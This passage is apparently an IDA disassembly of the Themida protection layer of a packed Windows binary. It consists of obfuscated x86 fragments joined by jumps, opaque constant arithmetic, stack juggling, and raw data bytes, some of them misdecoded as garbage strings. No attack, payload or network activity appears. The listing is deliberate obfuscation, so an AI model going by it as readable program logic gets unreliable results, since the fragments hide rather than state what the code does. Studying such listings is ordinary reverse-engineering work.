		dd 0C158C709h, 0F78105EFh, 687A39A3h, 7157F781h, 0FE01AB20h
		dd 5EF1015Fh, 2474FF51h, 48F5904h, 24248B24h, 24048B66h
		dd 4EC81h, 2C890000h, 5B53E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F8FA:				; CODE XREF: Themida_:005672CBj
		sub	ebx, 0EFA943E4h
		jmp	loc_57083E
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 48F5804h, 23E95C24h
		db 6Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55F913:				; CODE XREF: Themida_:00562847j
		pop	esp
		mov	[esp], ecx
		jmp	loc_570C17
; ---------------------------------------------------------------------------
		dd 0EFC0C7FEh, 0DEF78003h, 0C05BFA00h, 91E907EAh, 2D000114h
		dd 20DC5067h, 0AD71E9h
		db 0
; ---------------------------------------------------------------------------


loc_55F939:				; CODE XREF: Themida_:0056E1E5j
		sub	ebx, 40563643h
		add	ebx, edx
		add	ebx, 40563643h
		push	eax
		jmp	loc_566CF9
; ---------------------------------------------------------------------------


loc_55F94D:				; CODE XREF: Themida_:0056D8DFj
		pop	esi
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		add	esp, 4
		add	esp, 4
		test	ecx, eax
		pushf
		jmp	loc_5710AE
; ---------------------------------------------------------------------------
		dw 168h
aUmSl		db 'U▄$И╚ы',0
		align 4
aBaZLzs?3	db '│М',0Bh,'ZлLZИ?3',0
		align 4
		dd 4F3814Bh, 895F0688h,	241C8BD9h, 0FFF46BE9h, 0D830ACFFh
		dd 6602EC83h, 0B7241C89h, 83862CC2h, 896602ECh,	0B2B7241Ch
		dd 21E9F828h, 870000B0h, 21E9240Ch, 5D0000C6h, 8B24048Fh
		dd 0EC832424h, 242C8904h, 0BA06E953h, 0C4810000h, 4, 2414F752h
		dd 43E9575Ah
		db 96h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55F9DF:				; CODE XREF: Themida_:0056436Bj
		xchg	eax, [esp]
		pop	esp
		shr	edx, 5
		shr	edx, 2
		jmp	loc_563A45
; ---------------------------------------------------------------------------


loc_55F9EE:				; CODE XREF: Themida_:0055DEE4j
		inc	ecx
		push	eax
		mov	eax, 6B334C16h
		xor	ecx, eax
		pop	eax
		jmp	loc_560448
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 52532414h, 0B665B450h, 58E628A7h,	0F7305DB7h
		dd 2068665Ah, 0C89663Dh, 51FD8824h, 12454F6h, 0FAEAE9h
		db 0
; ---------------------------------------------------------------------------


loc_55FA29:				; CODE XREF: Themida_:0055C689j
		dec	ebx
		dec	ebx
		inc	ebx
		xor	ebx, 1215398Dh
		sub	ebx, 0D46130E4h
		mov	ebp, ebx
		pop	ebx
		mov	ecx, ebp
		pop	ebp
		sub	ecx, 0C5D884BBh
		add	edx, ecx
		jmp	loc_55DE64
; ---------------------------------------------------------------------------
		db 87h
		dd 0C7815AD7h, 1, 772DCF81h, 0E9556096h, 267Ch,	9C240421h
		dd 0FFD052E9h, 2856B6FFh, 0E6C2E9F5h, 0E801FFFFh, 0D3DBE95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FA7A:				; CODE XREF: Themida_:0056EC58j
		mov	[esp], edi
		push	456C7F33h
		mov	edi, [esp]
		add	esp, 4
		push	esi
		jmp	loc_56D4D1
; ---------------------------------------------------------------------------
		dw 895Ch
		dd 4812424h, 424h, 4055800h, 5000000h, 4, 8B240487h, 87682424h
		dd 89000001h, 0E389241Ch, 4C381h, 0EC810000h, 4, 68243489h
		dd 253h, 0E9240C89h, 4136h
; ---------------------------------------------------------------------------


loc_55FAD0:				; CODE XREF: Themida_:0055EB7Ej
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		push	ebp
		mov	ebp, 79087686h
		jmp	loc_563DD7
; ---------------------------------------------------------------------------
		dw 0D0BFh
		dd 315E885Ch, 58E95FFAh, 0E90000C3h, 0FFFFC9D0h, 0E9240C8Bh
		dd 0C817h, 3105D0F7h, 52D13839h, 0BF417ABAh, 81D2F710h
		dd 94176ACAh, 14F75213h, 24148B24h, 1649E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55FB26:				; CODE XREF: Themida_:0056AE23j
		pop	ebp
		xor	edi, eax
		pop	eax
		sub	esi, 7A1D3E4Eh
		jmp	loc_56E13F
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 4C481h, 40E90000h, 540000EBh, 4BF575Ah, 1000000h, 0C2815FFAh
		dd 4, 0E9241487h, 5F0Fh, 9679E953h, 0C4830000h,	28E95904h
		db 0E9h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55FB6B:				; CODE XREF: Themida_:0056DA07j
		xor	edi, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		and	ecx, edx
		jmp	loc_56AA98
; ---------------------------------------------------------------------------
		dd 8124348Bh, 4C4h, 240C8700h, 242C895Ch, 4196BB53h, 0E952378Fh
		dd 1047h
; ---------------------------------------------------------------------------


loc_55FB9C:				; CODE XREF: Themida_:0056CE7Dj
		add	esp, 4
		push	esi
		push	ebp
		push	2DEE72E0h
		pop	ebp
		jmp	loc_56A3E4
; ---------------------------------------------------------------------------


loc_55FBAC:				; CODE XREF: Themida_:0055D73Aj
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		add	ch, 0B7h
		or	bl, ch
		pop	ecx
		jmp	loc_56F70D
; ---------------------------------------------------------------------------


loc_55FBBE:				; CODE XREF: Themida_:00569CE8j
		pop	ebx
		push	70DFh
		mov	[esp], ecx
		mov	ecx, 473E0CA4h
		jmp	loc_56E776
; ---------------------------------------------------------------------------
		db 0D2h, 2Ch, 24h
		dd 0C8F2E99Ch, 0D9F7FFFFh, 36CAC181h, 0C58197B9h, 2C0F4AF1h
		dd 0E950CD29h, 48EFh
; ---------------------------------------------------------------------------


loc_55FBF0:				; CODE XREF: Themida_:0056901Dj
		push	eax
		push	ebp
		jmp	loc_56A510
; ---------------------------------------------------------------------------
		db 31h
		dd 71E95DEEh, 0AD0000FDh
		db 31h,	0D8h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	esi
		mov	esi, 4
		jmp	loc_570C53
; ---------------------------------------------------------------------------
		dw 1433h
		dd 24248B24h, 0C8BE0F66h, 71546866h, 240C8966h,	0FFC89FE9h
		dd 0C89AE9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FC32:				; CODE XREF: Themida_:0055FDADj
		pop	esp
		xor	edi, 9B8407Fh
		add	edi, 29C726C4h
		sub	edi, 1
		sub	esp, 4
		jmp	loc_56B0F9
; ---------------------------------------------------------------------------


loc_55FC4A:				; CODE XREF: Themida_:005610FCj
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		push	eax
		push	edx
		push	ecx
		push	627C01FDh
		pop	ecx
		jmp	loc_55FCEE
; ---------------------------------------------------------------------------


loc_55FC61:				; CODE XREF: Themida_:0056A3A8j
		add	esi, 4
		sub	esp, 4
		mov	[esp], edx
		push	ebx
		jmp	loc_562C47
; ---------------------------------------------------------------------------


loc_55FC76:				; CODE XREF: Themida_:0056DC0Dj
		jmp	loc_55C4CC
; ---------------------------------------------------------------------------
		db 0B9h
		dd 4, 6313E9h, 78F58000h, 800CE580h, 0EA881DEDh, 592434FFh
		dd 81E78957h, 4C7h, 4C78100h, 33000000h, 3C31243Ch, 243C3324h
		dd 15C2805Ch, 17F280h, 0F0E95AD0h, 89000108h, 0FF54240Ch
		dd 34FF2434h, 54555924h, 0D7E2E9h, 48B5400h, 0E388E924h
		dd 8B660000h, 0EB682404h, 0E9000051h, 0C5E0h
; ---------------------------------------------------------------------------


loc_55FCE4:				; CODE XREF: Themida_:005656ECj
		add	edi, ebx
		mov	ebx, [esp]
		jmp	loc_56ED40
; ---------------------------------------------------------------------------


loc_55FCEE:				; CODE XREF: Themida_:0055FC5Cj
		inc	ecx
		and	ecx, 50EA495Eh
		push	ebx
		mov	ebx, 401E06AAh
		or	ecx, ebx
		pop	ebx
		xor	ecx, 1DD14B91h
		mov	edx, ecx
		pop	ecx
		push	edx
		pop	eax
		jmp	loc_568026
; ---------------------------------------------------------------------------
		dw 3166h
		dd 0CDEEE9C3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FD16:				; CODE XREF: Themida_:00560C80j
		push	edx
		mov	edx, 44F279B8h
		jmp	loc_55D044
; ---------------------------------------------------------------------------


loc_55FD21:				; CODE XREF: Themida_:00563CECj
		add	edx, esi
		jmp	loc_567F7C
; ---------------------------------------------------------------------------


loc_55FD28:				; CODE XREF: Themida_:0056E66Aj
		add	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		add	ecx, 4
		push	ecx
		jmp	loc_56429A
; ---------------------------------------------------------------------------
		dd 0C781E789h, 4, 4EF81h, 3C870000h, 2C895C24h,	2474FF24h
		dd 48F5D04h, 0DED8E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55FD5E:				; CODE XREF: Themida_:0056A5D7j
		pop	edx
		push	6F14h
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_5603FE
; ---------------------------------------------------------------------------


loc_55FD79:				; CODE XREF: Themida_:0056687Aj
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_562CDA
; ---------------------------------------------------------------------------
aLSd		db '▀,$И└',0
		db 2 dup(0), 80h
		dd 0ED800FEDh, 3BCFE9BCh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55FDA2:				; CODE XREF: Themida_:0055DE1Aj
		mov	ecx, 4
		add	esi, ecx
		pop	ecx
		xchg	esi, [esp]
		jmp	loc_55FC32
; ---------------------------------------------------------------------------


loc_55FDB2:				; CODE XREF: Themida_:0056090Fj
		mov	[esp], ebp
		push	549Bh
		mov	[esp], ebx
		push	edx
		mov	edx, 6E553D1Dh
		jmp	loc_55C673
; ---------------------------------------------------------------------------
aISv6		db '┴гИv6',0
		dw 6600h
		dd 8124148Bh, 2C4h, 931CE900h, 0C0830000h, 24048704h, 0FBA525Ch
		dd 8175721Dh, 0AC6B66EAh, 2E2C14Dh, 550EB951h, 0CA094C82h
		dd 0FFDEF2E9h, 198E2DFFh, 0E8013B16h, 6AD5BA52h, 27E9458Ah
		dd 8B000012h, 0B1E92424h, 83FFFFC6h, 0F4E904C4h, 0BD0000B4h
		dd 77A3BB7h, 485533BBh,	5DEB296Eh, 893FE9h, 58C62900h
		dd 0CE81D6F7h, 0FC4B3Dh, 68h, 24342900h, 8324348Bh, 0C68104C4h
		dd 1, 0C1C6814Eh, 81FBFCCFh, 0E93410C5h, 81F50144h, 0E93410EDh
		dd 0C5835E44h, 4BF6E902h, 0C6810000h, 701E1B23h, 35C1C681h
		dd 0F301A61Bh, 24348B5Eh, 3B5E68h, 24148900h, 8F9FE9h
		dd 81E68900h, 4C6h, 68555100h, 2CD27721h, 111E9E9h, 242C3100h
		dd 0A0F4E9h, 40500h, 39E90000h,	8100005Dh, 3E5BAEF3h, 81DBF70Dh
		dd 18221BEBh, 5BDA01D8h, 81243C8Bh, 4C4h, 508AE900h, 31660000h
		dd 396866D8h, 14896611h, 0ED686624h, 4896622h, 0B8E95124h
		db 0E4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FEEF:				; CODE XREF: Themida_:00563175j
		pop	esi
		add	esp, 4
		add	esp, 4
		xor	esi, edi
		xor	edi, esi
		xor	esi, edi
		jmp	loc_569BFF
; ---------------------------------------------------------------------------


loc_55FF04:				; CODE XREF: Themida_:005709FBj
		mov	[esp], ebx
		mov	ebx, 4
		add	edi, ebx
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_564523
; ---------------------------------------------------------------------------
		db 52h
		dd 7C75CFBAh, 0E2814A47h, 6BB3509Ah, 7BE9D2F7h,	0BBFFFFEAh
		dd 11584DB0h, 0E7E9D989h, 0BEFFFFEAh, 4, 0FFC67DE9h, 241C31FFh
		dd 31241C33h, 75E9241Ch, 66FFFFC5h, 9C241CF7h, 0FFC56BE9h
		dd 81E689FFh, 4C6h, 4C68300h, 5C243487h, 0C0D6E9h, 7F46800h
		dd 3C890000h, 50E78924h, 3AFBE9h
		db 0
; ---------------------------------------------------------------------------


loc_55FF85:				; CODE XREF: Themida_:0055E7B0j
		add	esp, 4
		push	ecx
		mov	ecx, eax
		push	esi
		sub	esp, 4
		mov	[esp], ecx
		xor	dword ptr [esp], 6CF8072Fh
		pop	esi
		xor	esi, 6CF8072Fh
		jmp	loc_566EFF
; ---------------------------------------------------------------------------
		db 5Dh
		dd 0FFFFC581h, 0C581FFFFh, 62CE339Fh, 5482ED81h, 0EA89B53Fh
		dd 0FFD0315Dh, 148B2434h, 4C48124h, 0E9000000h,	7377h
		dd 505BD829h, 24048B5Bh, 50E78957h, 1642E9h, 0D063B300h
		dd 30EB80EBh, 0E95BDA28h, 34CFh, 41B55166h, 101CCE9h, 24048900h
		dd 0C04B3CB8h, 0C731E9CFh, 34FFFFFFh, 49E95A24h
		db 0C5h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_560013:				; CODE XREF: Themida_:0057049Bj
		sub	eax, ecx
		sub	eax, 7A9528AEh
		add	eax, 7A0F49EBh
		mov	ecx, [esp]
		add	esp, 4
		push	46B5h
		mov	[esp], edx
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_56C91E
; ---------------------------------------------------------------------------
		db 31h
		dd 0B7F1E9F5h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_560042:				; CODE XREF: Themida_:0056794Dj
		add	esp, 4
		push	esi
		jmp	loc_56E74E
; ---------------------------------------------------------------------------
		dd offset dword_457444+5430Fh
		db 0FCh
		dd 80F4285Bh, 90E94AECh, 57000011h, 0AD631BBFh,	72E9574Ah
		dd 0FF000053h, 0E9042474h, 59E2h, 8B241C87h, 51E92424h
		db 0C4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56007B:				; CODE XREF: Themida_:00563FC7j
		pop	edi
		add	ebx, 0B7852DE4h
		jmp	loc_55C5A1
; ---------------------------------------------------------------------------
		db 81h
		dd 4C3h, 3693E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_560092:				; CODE XREF: Themida_:0055F4E7j
		xor	edx, [esp]
		pop	esp
		jmp	loc_56495B
; ---------------------------------------------------------------------------


loc_56009B:				; CODE XREF: Themida_:00564964j
		pop	edx
		jmp	loc_56E04B
; ---------------------------------------------------------------------------


loc_5600A1:				; CODE XREF: Themida_:0056099Bj
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5702C6
; ---------------------------------------------------------------------------
		db 81h
		dd 0F04368E1h, 0E1C14130h, 0E1C18102h, 310D1527h, 240C8BC8h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_568040
; ---------------------------------------------------------------------------
		dd 4C48158h, 0E9000000h, 904Ah,	4EC815Fh, 89000000h, 0E389241Ch
		dd 4C381h, 0EB830000h, 0D99E904h
		db 1, 0
; ---------------------------------------------------------------------------


loc_560102:				; CODE XREF: Themida_:00564837j
		add	esp, 4
		add	ecx, edi
		pop	edi
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_56632B
; ---------------------------------------------------------------------------
aVYnavTSiu	db 'V╬ynav)t$',8,'ИIН',0
		db 0
; ---------------------------------------------------------------------------


loc_560123:				; CODE XREF: Themida_:0055E3F1j
		mov	cl, dl
		pop	edx
		jmp	loc_56FDD9
; ---------------------------------------------------------------------------


loc_56012B:				; CODE XREF: Themida_:00565B4Fj
		mov	ebx, esi
		jmp	loc_56D969
; ---------------------------------------------------------------------------
		dw 0EBDh
		dd 8147A73Ch, 844121E5h, 3CC58101h, 0F7245251h,	0C7F581D5h
		dd 89DA29AEh, 83E95DE9h
		db 40h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_560153:				; CODE XREF: Themida_:0056246Ej
		push	ecx
		mov	ecx, 0
		mov	edx, ecx
		pop	ecx
		add	edx, ecx
		xor	[edx], ebp
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ecx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	eax
		mov	eax, 24h
		add	eax, edi
		xor	ebp, [eax]
		mov	eax, [esp]
		add	esp, 4
		xor	[edi+24h], ebp


loc_560198:				; CODE XREF: Themida_:0056649Bj
		push	1F24h
		mov	[esp], edx
		push	4995h
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_569421
; ---------------------------------------------------------------------------


loc_5601B1:				; CODE XREF: Themida_:00564FECj
		or	esi, 20BE7819h
		neg	esi
		dec	esi
		and	esi, 1F8D4427h
		xor	esi, 31FD509Ch
		add	ebp, esi
		pop	esi
		mov	eax, [esp]
		add	esp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_5610CF
; ---------------------------------------------------------------------------


loc_5601F2:				; CODE XREF: Themida_:0056934Fj
		add	esp, 4
		pop	eax
		push	esi
		jmp	loc_56FE43
; ---------------------------------------------------------------------------
		dd 122A68h, 24348900h, 3368E9h
		db 0
; ---------------------------------------------------------------------------


loc_560209:				; CODE XREF: Themida_:00569F26j
		push	ebx
		mov	ebx, 1B9901B9h
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 1FC74D2Bh
		or	ebx, edi
		jmp	loc_561FBE
; ---------------------------------------------------------------------------


loc_560221:				; CODE XREF: Themida_:00566B45j
		not	eax
		add	eax, 0FFFFFFFFh
		add	eax, 5A78B274h
		mov	ebx, eax
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	16FFh
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		push	ebp
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		xchg	edx, [esp]
		pop	esp
		xor	[esp+4], ebx
		pop	ebx
		pop	ebx
		jmp	loc_56B679
; ---------------------------------------------------------------------------


loc_560264:				; CODE XREF: Themida_:00570CF7j
		shl	edi, 2
		jmp	loc_560366
; ---------------------------------------------------------------------------


loc_56026C:				; CODE XREF: Themida_:00561602j
		push	eax
		jmp	loc_55E082
; ---------------------------------------------------------------------------
		dw 302Dh
		dd 2961C722h, 257CE9F8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56027E:				; CODE XREF: Themida_:0056C209j
		xor	ebp, ecx
		xor	ecx, ebp
		xor	ebp, ecx
		not	ecx
		jmp	loc_56DBB0
; ---------------------------------------------------------------------------


loc_56028B:				; CODE XREF: Themida_:00566A7Dj
		mov	ebx, 6AA54607h
		jmp	loc_55EE42
; ---------------------------------------------------------------------------
		db 81h,	0E7h, 0E8h
		dd 0C13FF266h, 0B95102EFh, 1EBD3471h, 392EE181h, 0C18100A4h
		dd 42BC2695h, 9EF18149h, 3167BF90h, 0FE2959CFh,	0B3C6815Fh
		dd 810E506Ch, 3E73A7C6h, 0E9C60102h, 5A1h
; ---------------------------------------------------------------------------


loc_5602D0:				; CODE XREF: Themida_:0056C952j
		mov	edx, 32A45E7Fh
		dec	edx
		sub	edx, 0FFFFFFFFh
		push	eax
		mov	eax, 468C1850h
		and	edx, eax
		jmp	loc_55D597
; ---------------------------------------------------------------------------


loc_5602E6:				; CODE XREF: Themida_:0057045Bj
		xchg	ecx, [esp]
		jmp	loc_56A39F
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 4, 94E9EF01h, 0BEFFFFFAh, 2,	335EF201h, 14312414h, 24143324h
		dd 0E924248Bh, 6BDh, 0E9B7B450h, 0A656h, 8904EC83h, 5AB02404h
		dd 50665E2Ch, 662404FEh, 9EB75358h, 0E780D7F6h,	0CDC78049h
		dd 8006EFC0h, 0F828CFEFh, 58C2005Bh, 51D3E9h, 1C8B5400h
		dd 4C48124h, 0E9000000h, 6694h,	14D4B850h, 0C3014CCDh
		dd 0F5FCE958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_560366:				; CODE XREF: Themida_:00560267j
		sub	edi, 1
		push	ecx
		jmp	loc_55C7E4
; ---------------------------------------------------------------------------
		dw 0C501h
		dd 5624048Bh, 0BA52E689h, 4, 815AD601h,	4C6h, 24348700h
		dd 0E924248Bh, 0A9F5h, 8704C783h, 88E9243Ch, 51000017h
		dd 0F699E9h, 1CF75500h,	0E0B6E924h, 0C33FFFFh, 24248B24h
		dd 0E9240C89h, 5EB0h, 0C781E789h, 4, 3304EF83h,	3C31243Ch
		dd 243C3324h, 240C895Ch, 0C365E9h
		db 0
; ---------------------------------------------------------------------------


loc_5603D9:				; CODE XREF: Themida_:005647A7j
		xchg	edi, [esp]
		jmp	loc_56D628
; ---------------------------------------------------------------------------


loc_5603E1:				; CODE XREF: Themida_:0055F01Cj
		add	esp, 4
		push	ebx
		push	esp
		pop	ebx
		push	esi
		mov	esi, 11E00B2Ch
		sub	esi, 671B0BCFh
		or	esi, 3DF01CDBh
		jmp	loc_55EA1B
; ---------------------------------------------------------------------------


loc_5603FE:				; CODE XREF: Themida_:0055FD74j
		pop	esp
		jmp	loc_55C4CC
; ---------------------------------------------------------------------------


loc_560404:				; CODE XREF: Themida_:00569B6Fj
		add	edi, 11610190h
		jmp	loc_5688E7
; ---------------------------------------------------------------------------
		db 0FFh
		dd 669D1C77h, 4116658h,	0ADE99C24h
		db 0C0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56041F:				; CODE XREF: Themida_:0055ED66j
		pop	edx
		jmp	loc_56AB6E
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 0EC835224h, 24048904h, 4055854h, 2D000000h, 4, 5C240487h
		dd 0E9242489h, 0ECB7h
; ---------------------------------------------------------------------------


loc_560448:				; CODE XREF: Themida_:0055F9F8j
		and	ecx, 28E475D6h
		sub	ecx, 74AB02B6h
		add	ecx, 8E4F1DEFh
		jmp	loc_565395
; ---------------------------------------------------------------------------


loc_56045F:				; CODE XREF: Themida_:00565489j
		mov	edi, edx
		mov	edx, [esp]
		add	esp, 4
		xor	edi, eax
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_56938C
; ---------------------------------------------------------------------------
aSU_0		db '\Иш⌠',0
		dw 5200h
		dd 4BAh, 5AD72900h, 8BA6E9h, 6F7A6800h,	63E90000h, 0BF0000A1h
		dd 5CC25499h, 0F75FFB09h, 5F381DBh, 1A0340Ah, 0BCE95BD9h
		dd 52000061h, 0C12C35BAh, 0F1CDE97Bh, 3C890000h, 0A9BD5524h
		dd 0BF1AE007h, 6F391E26h, 2C8BEF29h, 4C48324h, 1CADF781h
		dd 0EF813636h, 6EC80E3Ah, 0F781D7F7h, 63D34A1Fh, 51DDE9h
		dd 4E5C100h, 0CD81DDF7h, 207B7BCBh, 81DDF745h, 848400F5h
		dd 0E9EF01C0h, 0C609h, 0E924248Bh, 4BD8h, 4C78158h, 87000000h
		dd 35E9243Ch, 58FFFFEEh, 8124348Bh, 4C4h, 0FE015A00h, 81243C8Bh
		dd 4C4h, 2BA5200h, 1000000h, 24148BD6h,	0E904C483h, 7E92h
; ---------------------------------------------------------------------------


loc_560548:				; CODE XREF: Themida_:00562604j
		pop	esp
		add	eax, 3DA31E86h
		push	eax
		jmp	loc_5662AE
; ---------------------------------------------------------------------------
		dd 0DDE9F831h
		db 36h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56055B:				; CODE XREF: Themida_:0055EF3Aj
		mov	ch, dl
		mov	bh, ch
		pop	ecx
		pop	edx
		pop	ecx
		pop	eax
		mov	ecx, [esp]
		jmp	loc_56B43C
; ---------------------------------------------------------------------------


loc_56056B:				; CODE XREF: Themida_:0055C4E0j
		add	esp, 4
		sub	ebx, 243D3398h
		mov	ecx, ebx
		push	dword ptr [esp]
		jmp	loc_563C15
; ---------------------------------------------------------------------------
		dw 28B8h
		dd 0E953B85Ch, 0FC96h, 0FFBF3FE9h, 0BA5259FFh, 37AD755Eh
		dd 155FE9h, 1C570900h, 8B2434FFh
		db 14h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ebx
		mov	ebx, 4
		jmp	loc_565DD7
; ---------------------------------------------------------------------------


loc_5605B6:				; CODE XREF: Themida_:00567CFCj
		mov	ecx, ebx
		pop	ebx
		sub	ecx, 7E4E57CDh
		sub	ecx, 9910C14Bh
		jmp	loc_561F2A
; ---------------------------------------------------------------------------
a3Sok		db '3<$ИOk',0
		align 2
		dw 895Ch
		dd 0A8B9240Ch, 0E91C9227h, 0FFFFE609h, 68240C8Bh, 17BDh
		dd 83241C89h, 248904ECh, 9D0CE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5605F6:				; CODE XREF: Themida_:005677B0j
		pop	ebp
		jmp	loc_56CDD6
; ---------------------------------------------------------------------------


loc_5605FC:				; CODE XREF: Themida_:00560634j
		mov	[esp], eax
		mov	eax, 659E6B51h
		sub	esp, 4
		jmp	loc_565985
; ---------------------------------------------------------------------------
		dd 303A68h, 242C8900h, 40068h, 28F6E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56061E:				; CODE XREF: Themida_:0056D05Bj
		mov	esi, 1D62082Ch
		add	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_5605FC
; ---------------------------------------------------------------------------
		align 2
aTxs1		db 'БXИ}1',0
		db 0
; ---------------------------------------------------------------------------


loc_560641:				; CODE XREF: Themida_:0056760Bj
		mov	edx, [esp]
		jmp	loc_56BEDC
; ---------------------------------------------------------------------------


loc_560649:				; CODE XREF: Themida_:0056D427j
		mov	ecx, 0ECF0E71h
		not	ecx
		shl	ecx, 1
		sub	ecx, 0E261E318h
		sub	edx, ecx
		pop	ecx
		push	edx
		jmp	loc_56A2C6
; ---------------------------------------------------------------------------
		db 81h,	0EDh, 2Ch
		dd 1478E44h, 2CC581DDh,	0FF478E44h, 815B2434h, 4C4h, 242C8700h
		dd 6824248Bh, 5C54h, 68242C89h,	5A7Fh, 68243C89h, 19273C95h
		dd 53C7815Fh, 83FB3332h, 2C8904ECh, 685D5424h, 62F3h, 0BB241C89h
		dd 77597313h, 8A23E9h, 43C38100h, 0E958D02Dh, 0E393h, 0B8240489h
		dd 4, 256CB850h, 942D1C74h, 290C351Ch, 0B85058C2h, 5DF17756h
		dd 158C229h, 0FAE956C2h
		db 80h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5606E7:				; CODE XREF: Themida_:00562736j
		push	77B3h
		mov	[esp], ebp
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		push	8Ch
		mov	[esp], ebx
		push	4
		jmp	loc_56EA49
; ---------------------------------------------------------------------------
		dd 89241C89h, 1491E9E3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_560712:				; CODE XREF: Themida_:0055F28Cj
		add	eax, 615F3094h
		xor	eax, 0D35E2EB7h
		add	edi, eax
		pop	eax
		add	edi, eax
		sub	edi, 52A14E13h
		mov	eax, [esp]
		add	esp, 4
		xchg	edi, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		jmp	loc_56B331
; ---------------------------------------------------------------------------
		dw 14F7h
		dd 0EAC15A24h, 2A826802h, 2C890000h, 7EE56824h,	95D08B8h
		dd 242C8BEAh, 8304C483h, 3C8904ECh, 53F5BF24h, 0FA31785Ch
		dd 81243C8Bh, 4C4h, 5AD18900h, 2F48F181h, 0E1C176DCh, 102C6805h
		dd 7AE90000h, 68FFFFF8h, 1F54h,	0E9242C89h, 17E0h
; ---------------------------------------------------------------------------


loc_560790:				; CODE XREF: Themida_:00566903j
		not	ch
		shr	ch, 5
		jmp	loc_5657F4
; ---------------------------------------------------------------------------
		dw 489h
		db '$h,:',0
		align 2
		dw 2489h
		dd 24048124h, 4, 0F9C0E9h, 24048900h, 575C8AB8h, 0E94E9675h
		dd 0FFFFE943h, 2474FF51h, 48F5904h, 24248B24h, 40E4E9h
		db 0
; ---------------------------------------------------------------------------


loc_5607D1:				; CODE XREF: Themida_:0056840Aj
		or	ebx, ebp
		pop	ebp
		add	ebx, 0FFFFFFFFh
		inc	ebx
		xor	ebx, 1C916B69h
		sub	ebx, 636E16B2h
		jmp	loc_56361A
; ---------------------------------------------------------------------------


loc_5607E9:				; CODE XREF: Themida_:0056D0A1j
		push	ecx
		mov	ecx, 19C119F8h
		jmp	loc_5624AF
; ---------------------------------------------------------------------------
		dd 11C4EF81h, 0F78121C9h, 4EF409A2h, 4345EF81h,	0A0E91DF0h
		dd 6800004Ah, 45D1h, 68240489h,	2133h, 24048F54h, 4B850h
		dd 44010000h, 0B9E90424h, 5E0000D1h, 94E7EE81h,	0EB81BCA6h
		dd 52B82F52h, 0C381F301h, 52B82F52h, 241C335Eh,	33241C31h
		dd 665C241Ch, 9C240CFFh, 52EEE9h, 5ECAB900h, 0E5E90620h
		dd 280000F3h, 0C7D6E9E2h, 0EB81FFFFh, 57491322h, 0FF7FE9h
		dd 0A7EE8100h, 55023E73h, 7E1A2DBDh, 81DDF754h,	0DE417BC5h
